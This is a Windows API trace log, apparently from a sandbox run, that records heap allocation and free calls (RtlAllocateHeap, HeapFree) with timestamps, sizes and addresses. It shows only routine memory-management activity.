	[0030.686] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.686] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.686] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.686] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.686] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.686] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.686] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.686] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.686] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.686] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.686] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.686] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.686] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.686] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.686] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.686] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.686] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bab68 | out: hHeap=0x580000) returned 1
	[0030.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bac78 | out: hHeap=0x580000) returned 1
	[0030.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baa58 | out: hHeap=0x580000) returned 1
	[0030.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bad88 | out: hHeap=0x580000) returned 1
	[0030.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x58efc0 | out: hHeap=0x580000) returned 1
	[0030.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5ba950
	[0030.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5b6cc0
	[0030.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x108) returned 0x5baa58
	[0030.689] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.689] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc) returned 0x58efc0
	[0030.689] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bab68
	[0030.689] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba950 | out: hHeap=0x580000) returned 1
	[0030.689] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b90d8
	[0030.689] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6cc0 | out: hHeap=0x580000) returned 1
	[0030.689] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bac78
	[0030.689] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0030.689] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fe0
	[0030.689] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc) returned 0x58efd8
	[0030.689] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.689] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fe0 | out: hHeap=0x580000) returned 1
	[0030.689] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x88) returned 0x5b90d8
	[0030.689] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x58efd8 | out: hHeap=0x580000) returned 1
	[0030.689] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bad88
	[0030.689] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0030.689] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.689] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.689] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.689] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.689] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.689] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.689] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.689] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.689] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.689] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.689] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.689] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.689] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.689] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.689] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.689] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.689] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.689] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.689] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.689] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.689] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.689] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.689] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.690] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.690] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.690] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.690] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.690] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.690] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.690] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.690] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.690] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.690] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.690] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.690] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.690] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.690] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.690] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.690] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.690] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.690] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.690] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.690] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.691] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.691] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.691] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.691] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.691] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.691] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.691] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.691] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.691] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.691] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.691] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.691] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.691] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.691] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.691] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.691] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.691] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bab68 | out: hHeap=0x580000) returned 1
	[0030.691] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bac78 | out: hHeap=0x580000) returned 1
	[0030.691] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baa58 | out: hHeap=0x580000) returned 1
	[0030.691] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bad88 | out: hHeap=0x580000) returned 1
	[0030.691] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x58efc0 | out: hHeap=0x580000) returned 1
	[0030.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5ba950
	[0030.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5b6cc0
	[0030.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x108) returned 0x5baa58
	[0030.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc) returned 0x58efc0
	[0030.692] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bab68
	[0030.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba950 | out: hHeap=0x580000) returned 1
	[0030.692] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b90d8
	[0030.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6cc0 | out: hHeap=0x580000) returned 1
	[0030.692] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bac78
	[0030.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0030.692] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fe0
	[0030.692] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc) returned 0x58efd8
	[0030.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fe0 | out: hHeap=0x580000) returned 1
	[0030.692] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x88) returned 0x5b90d8
	[0030.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x58efd8 | out: hHeap=0x580000) returned 1
	[0030.692] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bad88
	[0030.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0030.692] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.692] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.692] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.692] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.692] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.692] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
